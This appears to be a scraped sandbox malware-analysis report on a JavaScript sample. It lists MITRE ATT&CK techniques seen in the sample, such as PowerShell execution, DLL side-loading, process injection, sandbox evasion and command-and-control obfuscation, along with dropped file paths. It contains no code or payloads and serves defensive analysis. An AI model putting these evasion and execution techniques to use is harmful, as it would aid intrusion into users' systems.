Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1882131031120212290.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\65321403-eb37-4c3e-9890-1940923da492.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF531578.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d589490e-078f-439a-91f3-c32ee87cf461.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
1882131031120212290.js